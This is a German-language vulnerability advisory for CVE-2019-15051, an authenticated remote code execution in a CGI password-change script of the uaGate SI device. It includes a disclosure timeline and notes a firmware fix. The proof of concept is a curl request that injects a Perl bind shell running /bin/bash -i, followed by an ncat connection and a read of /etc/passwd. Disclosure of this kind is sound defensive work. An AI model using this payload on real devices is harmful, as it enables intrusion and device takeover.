CVE-2019-15051 - uaGate eine weitere authentifizierte Remote-Code-Ausführung

Zusammenfassung

Ein CGI-Skript des uaGate SI behandelt seine Parameter unsicher. Bösartig gestaltete URL-Parameter können eine beliebige Befehlsnutzlast übertragen, die mit den Rechten des Webservers ausgeführt wird. Die Befehlsausgabe, die an stdout zurückgegeben wird, wird vom Webserver als Antwort auf die bösartige Webanfrage zurückgegeben.

Angriffsvektor

Ein authentifizierter Angreifer kann beliebige Befehle ausführen, indem er eine Webanfrage stellt.

Proof-of-Concept-Details

curl http://uagate/cgi-bin/changePassword.cgi -d "newPassword=*******&confirmPassword=*******&user=mfadmin&oldPassword=*******+%26%26+perl+-e+%27use+Socket%3B%24p%3D4223%3Bsocket%28S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname%28%22tcp%22%29%29%3Bbind%28S%2Csockaddr_in%28%24p%2C+INADDR_ANY%29%29%3Blisten%28S%2CSOMAXCONN%29%3Bfor%28%3B%24p%3Daccept%28C%2CS%29%3Bclose+C%29%7Bopen%28STDIN%2C%22%3E%26C%22%29%3Bopen%28STDOUT%2C%22%3E%26C%22%29%3Bopen%28STDERR%2C%22%3E%26C%22%29%3Bexec%28%22%2Fbin%2Fbash+-i%22%29%3B%7D%3B%27" --user mfadmin:****** & (sleep 1; ncat uagate 4223)
cat /etc/passwd

Angriffsszenario

Dieser Exploit kann in einer Exploit-Kette zusammen mit einer Privilegieneskalationsschwachstelle verwendet werden, um vollständige Kontrolle über das Zielgerät zu erlangen.

Zeitverlauf

  • Tag 0 - erneuter Test des uaGate SI Geräts - 07.08.2019
  • Tag 7 - CVE-ID von MITRE ausgestellt - 14.08.2019
  • Tag 47 - Problembericht an Hersteller - 23.09.2019
  • Tag 61 - Hersteller bestätigte Sicherheitsprobleme - 07.10.2019
  • Tag 63 - Fix gefunden in Firmware 1.72.00.1996 - 09.10.2019
  • Tag 64 - veröffentlicht - 10.10.2019

Danksagung

rfr@mioso.com

  • uaGate SI Product Page
  • Softing AG